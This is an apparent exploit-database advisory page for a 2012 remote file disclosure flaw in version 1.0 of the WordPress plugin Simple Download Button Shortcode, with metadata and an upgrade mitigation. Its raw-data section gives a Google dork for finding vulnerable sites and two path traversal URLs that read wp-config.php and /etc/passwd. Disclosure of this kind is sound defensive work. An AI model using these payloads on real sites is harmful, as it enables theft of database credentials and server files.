Wordpress Plugins - Simple Download Button Shortcode Remote File Disclosure Vulnerability

vendor:

Simple Download Button Shortcode

by:

Sammy FORGIT

7,5

CVSS

HIGH

Remote File Disclosure

CWE

Product Name: Simple Download Button Shortcode

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:simple_download_button_shortcode

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

WordPress Plugins – Simple Download Button Shortcode Remote File Disclosure Vulnerability

This vulnerability allows an attacker to access sensitive files on the server by exploiting a flaw in the Simple Download Button Shortcode plugin for Wordpress. By sending a specially crafted request to the simple-download-button_dl.php script, an attacker can access files outside of the web root directory, such as the wp-config.php and /etc/passwd files.

Mitigation:

Upgrade to the latest version of the plugin, or disable the plugin if it is not necessary.

Source

Exploit-DB raw data:

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# Description : Wordpress Plugins - Simple Download Button Shortcode 
Remote File Disclosure Vulnerability
# Version : 1.0
# Link : 
http://wordpress.org/extend/plugins/simple-download-button-shortcode/
# Plugins : 
http://downloads.wordpress.org/plugin/simple-download-button-shortcode.1.0.0.zip
# Date : 30-05-2012
# Google Dork : inurl:/wp-content/plugins/simple-download-button-shortcode/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

http://www.exemple.com/wordpress/wp-content/plugins/simple-download-button-shortcode/simple-download-button_dl.php?file=../../../../wp-config.php

http://www.exemple.com/wordpress/wp-content/plugins/simple-download-button-shortcode/simple-download-button_dl.php?file=../../../../../../../../etc/passwd